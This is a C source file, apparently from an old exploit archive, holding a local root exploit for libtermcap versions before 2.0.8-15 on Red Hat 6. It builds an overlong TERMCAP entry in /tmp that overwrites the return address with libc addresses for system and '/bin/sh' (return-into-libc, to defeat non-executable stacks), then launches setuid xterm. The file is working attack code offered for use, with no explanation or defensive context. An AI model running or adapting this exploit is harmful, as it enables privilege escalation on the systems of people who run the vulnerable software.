home *** CD-ROM | disk | FTP | other *** search
- <html>#include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <fcntl.h>
- #include <unistd.h>
-
- // yet another lame libtermcap<2.0.8-15 sploit by typo@scene.at (libc jumpback)
- // only made this to bypass nonexecutable stack patches - http://teso.scene.at/
-
- // Redhat 6 offsets (i only needed these)
- int sys = 0x401bca40; // system
- int sh = 0x4025ab12; // /bin/sh
- int exi = 0x4020b910; // _exit
- int ran = 0x401b9928; // random offset in libc
- int eip = 2136;
- #define fil "/tmp/teso_termcap"
- #define xte "/usr/X11R6/bin/xterm"
- #define entry "xterm|"
-
- int main(int argc, char **argv) {
- char *buf;
- int fd, buflen;
-
- argv++;
-
- if (argc>1) // dec,!hex args
- sys = atoi(*(argv++));
- if (argc>2)
- sh = atoi(*(argv++));
- if (argc>3)
- exi = atoi(*(argv++));
- if (argc>4)
- eip = atoi(*(argv++));
-
- buflen = eip + 20;
-
- buf = (char *) malloc(buflen);
- memset(buf, 'x', buflen);
- buf[buflen] = 0;
-
- memcpy(buf, entry, strlen(entry));
- memcpy (buf+buflen-4,":\\y",3);
-
- memcpy(buf+eip,&sys,4);
- memcpy(buf+eip+4,&exi,4);
- memcpy(buf+eip+8,&sh,4);
- memcpy(buf+eip+12,&ran,4);
-
- if ( (fd = open(fil, O_WRONLY|O_CREAT|O_TRUNC, "644"))<0) {
- perror("cannot create file");
- exit(EXIT_FAILURE);
- }
-
- write(fd,buf,buflen);
- close(fd);
- free(buf);
-
- setenv("TERMCAP", fil, 1);
- execl(xte, "xterm", NULL);
- exit(EXIT_SUCCESS);
- }
-